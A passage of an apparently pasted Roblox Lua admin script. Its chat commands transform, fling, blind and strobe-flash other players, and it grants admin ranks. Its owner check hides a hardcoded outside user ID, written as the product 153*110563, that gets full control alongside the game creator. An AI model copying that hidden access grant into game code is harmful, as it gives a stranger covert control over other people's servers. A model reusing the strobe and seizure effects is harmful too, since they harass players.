  3670. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  3671. until not bg or bg.Parent ~= torso
  3672. end
  3673. end))
  3674. end
  3675. end
  3676.  
  3677. if msg:lower():sub(1,7) == "unspin " then
  3678. local plrz = GetPlr(plr, msg:lower():sub(8))
  3679. for i, v in pairs(plrz) do
  3680. coroutine.resume(coroutine.create(function()
  3681. if v and v.Character and v.Character:findFirstChild("Torso") then
  3682. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  3683. end
  3684. end))
  3685. end
  3686. end
  3687.  
  3688. if msg:lower():sub(1,4) == "dog " then
  3689. local plrz = GetPlr(plr, msg:lower():sub(5))
  3690. for i, v in pairs(plrz) do
  3691. coroutine.resume(coroutine.create(function()
  3692. if v and v.Character and v.Character:findFirstChild("Torso") then
  3693. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  3694. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  3695. v.Character.Torso.Transparency = 1
  3696. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  3697. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  3698. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  3699. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  3700. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  3701. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  3702. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  3703. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  3704. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  3705. end
  3706. end))
  3707. end
  3708. end
  3709.  
  3710. if msg:lower():sub(1,6) == "undog " then
  3711. local plrz = GetPlr(plr, msg:lower():sub(7))
  3712. for i, v in pairs(plrz) do
  3713. coroutine.resume(coroutine.create(function()
  3714. if v and v.Character and v.Character:findFirstChild("Torso") then
  3715. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  3716. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  3717. v.Character.Torso.Transparency = 0
  3718. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  3719. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  3720. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  3721. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  3722. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  3723. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  3724. end
  3725. end))
  3726. end
  3727. end
  3728.  
  3729. if msg:lower():sub(1,8) == "creeper " then
  3730. local plrz = GetPlr(plr, msg:lower():sub(9))
  3731. for i, v in pairs(plrz) do
  3732. coroutine.resume(coroutine.create(function()
  3733. if v and v.Character and v.Character:findFirstChild("Torso") then
  3734. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  3735. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  3736. v.Character.Torso.Transparency = 0
  3737. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  3738. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  3739. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  3740. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  3741. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  3742. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  3743. end
  3744. end))
  3745. end
  3746. end
  3747.  
  3748. if msg:lower():sub(1,10) == "uncreeper " then
  3749. local plrz = GetPlr(plr, msg:lower():sub(11))
  3750. for i, v in pairs(plrz) do
  3751. coroutine.resume(coroutine.create(function()
  3752. if v and v.Character and v.Character:findFirstChild("Torso") then
  3753. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  3754. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  3755. v.Character.Torso.Transparency = 0
  3756. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  3757. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  3758. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  3759. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  3760. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  3761. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  3762. end
  3763. end))
  3764. end
  3765. end
  3766.  
  3767. if msg:lower():sub(1,8) == "bighead " then
  3768. local plrz = GetPlr(plr, msg:lower():sub(9))
  3769. for i, v in pairs(plrz) do
  3770. coroutine.resume(coroutine.create(function()
  3771. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  3772. end))
  3773. end
  3774. end
  3775.  
  3776. if msg:lower():sub(1,9) == "minihead " then
  3777. local plrz = GetPlr(plr, msg:lower():sub(10))
  3778. for i, v in pairs(plrz) do
  3779. coroutine.resume(coroutine.create(function()
  3780. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  3781. end))
  3782. end
  3783. end
  3784.  
  3785. if msg:lower():sub(1,6) == "fling " then
  3786. local plrz = GetPlr(plr, msg:lower():sub(7))
  3787. for i, v in pairs(plrz) do
  3788. coroutine.resume(coroutine.create(function()
  3789. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  3790. local xran local zran
  3791. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  3792. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  3793. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  3794. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  3795. end
  3796. end))
  3797. end
  3798. end
  3799.  
  3800. if msg:lower():sub(1,8) == "seizure " then
  3801. local plrz = GetPlr(plr, msg:lower():sub(9))
  3802. for i, v in pairs(plrz) do
  3803. coroutine.resume(coroutine.create(function()
  3804. if v and v.Character then
  3805. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  3806. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  3807. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  3808. end
  3809. end))
  3810. end
  3811. end
  3812.  
  3813. if msg:lower():sub(1,10) == "unseizure " then
  3814. local plrz = GetPlr(plr, msg:lower():sub(11))
  3815. for i, v in pairs(plrz) do
  3816. coroutine.resume(coroutine.create(function()
  3817. if v and v.Character then
  3818. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  3819. wait(.1) v.Character.Humanoid.PlatformStand = false
  3820. end
  3821. end))
  3822. end
  3823. end
  3824.  
  3825. if msg:lower():sub(1,12) == "removelimbs " then
  3826. local plrz = GetPlr(plr, msg:lower():sub(13))
  3827. for i, v in pairs(plrz) do
  3828. coroutine.resume(coroutine.create(function()
  3829. if v and v.Character then
  3830. for a, obj in pairs(v.Character:children()) do
  3831. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  3832. end
  3833. end
  3834. end))
  3835. end
  3836. end
  3837.  
  3838. if msg:lower():sub(1,5) == "name " then
  3839. local chk1 = msg:lower():sub(6):find(" ") + 5
  3840. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  3841. for i, v in pairs(plrz) do
  3842. coroutine.resume(coroutine.create(function()
  3843. if v and v.Character and v.Character:findFirstChild("Head") then
  3844. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  3845. local char = v.Character
  3846. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  3847. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  3848. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  3849. char.Head.Transparency = 1
  3850. end
  3851. end))
  3852. end
  3853. end
  3854.  
  3855. if msg:lower():sub(1,7) == "unname " then
  3856. local plrz = GetPlr(plr, msg:lower():sub(8))
  3857. for i, v in pairs(plrz) do
  3858. coroutine.resume(coroutine.create(function()
  3859. if v and v.Character and v.Character:findFirstChild("Head") then
  3860. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  3861. end
  3862. end))
  3863. end
  3864. end
  3865.  
  3866. if msg:lower():sub(1,5) == "char " then
  3867. local chk1 = msg:lower():sub(6):find(" ") + 5
  3868. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  3869. for i, v in pairs(plrz) do
  3870. coroutine.resume(coroutine.create(function()
  3871. if v and v.Character then
  3872. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  3873. v:LoadCharacter()
  3874. end
  3875. end))
  3876. end
  3877. end
  3878.  
  3879. if msg:lower():sub(1,7) == "unchar " then
  3880. local plrz = GetPlr(plr, msg:lower():sub(8))
  3881. for i, v in pairs(plrz) do
  3882. coroutine.resume(coroutine.create(function()
  3883. if v and v.Character then
  3884. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  3885. v:LoadCharacter()
  3886. end
  3887. end))
  3888. end
  3889. end
  3890.  
  3891. if msg:lower():sub(1,7) == "infect " then
  3892. local plrz = GetPlr(plr, msg:lower():sub(8))
  3893. for i, v in pairs(plrz) do
  3894. coroutine.resume(coroutine.create(function()
  3895. if v and v.Character then
  3896. Infect(v.Character)
  3897. end
  3898. end))
  3899. end
  3900. end
  3901.  
  3902. if msg:lower():sub(1,11) == "rainbowify " then
  3903. local plrz = GetPlr(plr, msg:lower():sub(12))
  3904. for i, v in pairs(plrz) do
  3905. coroutine.resume(coroutine.create(function()
  3906. if v and v.Character and v.Character:findFirstChild("Torso") then
  3907. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  3908. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  3909. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  3910. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  3911. cl.Parent = v.Character cl.Disabled = false
  3912. end
  3913. end))
  3914. end
  3915. end
  3916.  
  3917. if msg:lower():sub(1,9) == "flashify " then
  3918. local plrz = GetPlr(plr, msg:lower():sub(10))
  3919. for i, v in pairs(plrz) do
  3920. coroutine.resume(coroutine.create(function()
  3921. if v and v.Character and v.Character:findFirstChild("Torso") then
  3922. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  3923. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  3924. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  3925. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  3926. cl.Parent = v.Character cl.Disabled = false
  3927. end
  3928. end))
  3929. end
  3930. end
  3931.  
  3932. if msg:lower():sub(1,8) == "noobify " then
  3933. local plrz = GetPlr(plr, msg:lower():sub(9))
  3934. for i, v in pairs(plrz) do
  3935. coroutine.resume(coroutine.create(function()
  3936. if v and v.Character then
  3937. Noobify(v.Character)
  3938. end
  3939. end))
  3940. end
  3941. end
  3942.  
  3943. if msg:lower():sub(1,9) == "ghostify " then
  3944. local plrz = GetPlr(plr, msg:lower():sub(10))
  3945. for i, v in pairs(plrz) do
  3946. coroutine.resume(coroutine.create(function()
  3947. if v and v.Character and v.Character:findFirstChild("Torso") then
  3948. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  3949. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  3950. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  3951. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  3952. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  3953. if prt.Name:find("Leg") then prt.Transparency = 1 end
  3954. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  3955. end end
  3956. end
  3957. end))
  3958. end
  3959. end
  3960.  
  3961. if msg:lower():sub(1,8) == "goldify " then
  3962. local plrz = GetPlr(plr, msg:lower():sub(9))
  3963. for i, v in pairs(plrz) do
  3964. coroutine.resume(coroutine.create(function()
  3965. if v and v.Character and v.Character:findFirstChild("Torso") then
  3966. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  3967. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  3968. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  3969. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  3970. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  3971. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  3972. end end
  3973. end
  3974. end))
  3975. end
  3976. end
  3977.  
  3978. if msg:lower():sub(1,6) == "shiny " then
  3979. local plrz = GetPlr(plr, msg:lower():sub(7))
  3980. for i, v in pairs(plrz) do
  3981. coroutine.resume(coroutine.create(function()
  3982. if v and v.Character and v.Character:findFirstChild("Torso") then
  3983. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  3984. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  3985. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  3986. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  3987. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  3988. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  3989. end end
  3990. end
  3991. end))
  3992. end
  3993. end
  3994.  
  3995. if msg:lower():sub(1,7) == "normal " then
  3996. local plrz = GetPlr(plr, msg:lower():sub(8))
  3997. for i, v in pairs(plrz) do
  3998. coroutine.resume(coroutine.create(function()
  3999. if v and v.Character and v.Character:findFirstChild("Torso") then
  4000. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  4001. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  4002. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  4003. v.Character.Torso.Transparency = 0
  4004. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  4005. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  4006. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  4007. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  4008. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  4009. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  4010. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  4011. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  4012. if prt.Name == "FAKETORSO" then prt:Destroy() end
  4013. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  4014. end end
  4015. end
  4016. end))
  4017. end
  4018. end
  4019.  
  4020. if msg:lower():sub(1,7) == "trippy " then
  4021. local plrz = GetPlr(plr, msg:lower():sub(8))
  4022. for i, v in pairs(plrz) do
  4023. coroutine.resume(coroutine.create(function()
  4024. if v and v:findFirstChild("PlayerGui") then
  4025. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  4026. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  4027. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  4028. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  4029. end
  4030. end))
  4031. end
  4032. end
  4033.  
  4034. if msg:lower():sub(1,9) == "untrippy " then
  4035. local plrz = GetPlr(plr, msg:lower():sub(10))
  4036. for i, v in pairs(plrz) do
  4037. coroutine.resume(coroutine.create(function()
  4038. if v and v:findFirstChild("PlayerGui") then
  4039. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  4040. end
  4041. end))
  4042. end
  4043. end
  4044.  
  4045. if msg:lower():sub(1,7) == "strobe " then
  4046. local plrz = GetPlr(plr, msg:lower():sub(8))
  4047. for i, v in pairs(plrz) do
  4048. coroutine.resume(coroutine.create(function()
  4049. if v and v:findFirstChild("PlayerGui") then
  4050. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  4051. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  4052. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  4053. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  4054. end
  4055. end))
  4056. end
  4057. end
  4058.  
  4059. if msg:lower():sub(1,9) == "unstrobe " then
  4060. local plrz = GetPlr(plr, msg:lower():sub(10))
  4061. for i, v in pairs(plrz) do
  4062. coroutine.resume(coroutine.create(function()
  4063. if v and v:findFirstChild("PlayerGui") then
  4064. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  4065. end
  4066. end))
  4067. end
  4068. end
  4069.  
  4070. if msg:lower():sub(1,6) == "blind " then
  4071. local plrz = GetPlr(plr, msg:lower():sub(7))
  4072. for i, v in pairs(plrz) do
  4073. coroutine.resume(coroutine.create(function()
  4074. if v and v:findFirstChild("PlayerGui") then
  4075. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  4076. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  4077. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  4078. end
  4079. end))
  4080. end
  4081. end
  4082.  
  4083. if msg:lower():sub(1,8) == "unblind " then
  4084. local plrz = GetPlr(plr, msg:lower():sub(9))
  4085. for i, v in pairs(plrz) do
  4086. coroutine.resume(coroutine.create(function()
  4087. if v and v:findFirstChild("PlayerGui") then
  4088. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  4089. end
  4090. end))
  4091. end
  4092. end
  4093.  
  4094. if msg:lower():sub(1,7) == "guifix " then
  4095. local plrz = GetPlr(plr, msg:lower():sub(8))
  4096. for i, v in pairs(plrz) do
  4097. coroutine.resume(coroutine.create(function()
  4098. if v and v:findFirstChild("PlayerGui") then
  4099. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  4100. end
  4101. end))
  4102. end
  4103. end
  4104.  
  4105. if msg:lower():sub(1,9) == "loopheal " then
  4106. local plrz = GetPlr(plr, msg:lower():sub(10))
  4107. for i, v in pairs(plrz) do
  4108. if v then
  4109. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  4110. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  4111. repeat wait()
  4112. coroutine.resume(coroutine.create(function()
  4113. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  4114. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  4115. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  4116. end
  4117. end))
  4118. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  4119. end
  4120. end
  4121. end
  4122.  
  4123. if msg:lower():sub(1,11) == "unloopheal " then
  4124. local plrz = GetPlr(plr, msg:lower():sub(12))
  4125. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  4126. end
  4127.  
  4128. if msg:lower():sub(1,10) == "loopfling " then
  4129. local plrz = GetPlr(plr, msg:lower():sub(11))
  4130. for i, v in pairs(plrz) do
  4131. if v then
  4132. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  4133. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  4134. repeat
  4135. coroutine.resume(coroutine.create(function()
  4136. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  4137. local xran local zran
  4138. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  4139. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  4140. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  4141. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  4142. end
  4143. end))
  4144. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  4145. end
  4146. end
  4147. end
  4148.  
  4149. if msg:lower():sub(1,12) == "unloopfling " then
  4150. local plrz = GetPlr(plr, msg:lower():sub(13))
  4151. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  4152. end
  4153.  
  4154. end
  4155.  
  4156. -------------------------
  4157. -- True Owner Commands --
  4158. -------------------------
  4159.  
  4160. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  4161.  
  4162. if msg:lower():sub(1,3) == "oa " then
  4163. local plrz = GetPlr(plr, msg:lower():sub(4))
  4164. for i, v in pairs(plrz) do
  4165. coroutine.resume(coroutine.create(function()
  4166. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  4167. end))
  4168. end
  4169. end
  4170.  
  4171. if msg:lower():sub(1,5) == "unoa " then
  4172. for i = 1, #owners do
  4173. coroutine.resume(coroutine.create(function()
  4174. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  4175. end))
  4176. end
  4177. end
  4178.  
  4179. end
  4180.  
  4181. --------------------
  4182. -- Owner Commands --
  4183. --------------------
  4184.  
  4185. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  4186.  
  4187. if msg:lower():sub(1,3) == "pa " then
  4188. local plrz = GetPlr(plr, msg:lower():sub(4))
  4189. for i, v in pairs(plrz) do
  4190. coroutine.resume(coroutine.create(function()
  4191. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  4192. end))
  4193. end
  4194. end
  4195.  
  4196. if msg:lower():sub(1,5) == "unpa " then
  4197. for i = 1, #admins do
  4198. coroutine.resume(coroutine.create(function()
  4199. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  4200. end))
  4201. end
  4202. end
  4203.  
  4204. end
  4205.  
  4206. --------------------------
  4207. -- Super Admin Commands --
  4208. --------------------------
  4209.  
